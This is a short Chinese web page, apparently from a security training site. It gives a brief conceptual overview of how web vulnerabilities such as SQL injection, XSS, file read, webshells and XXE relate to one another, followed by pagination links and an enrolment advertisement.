抛开白盒审计不说,sql注入实现比较简单,黑盒状态下也可知道用户名实现,跨站类可以通过js类的实现对用户的上线,高危的文件读取和webshell以及xxe,总的来说都是在文件读取目录遍历的基础上实现的,否则对于二次开发的网站抛开任意文件读取这个漏洞来说是无法实现webshell的。
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

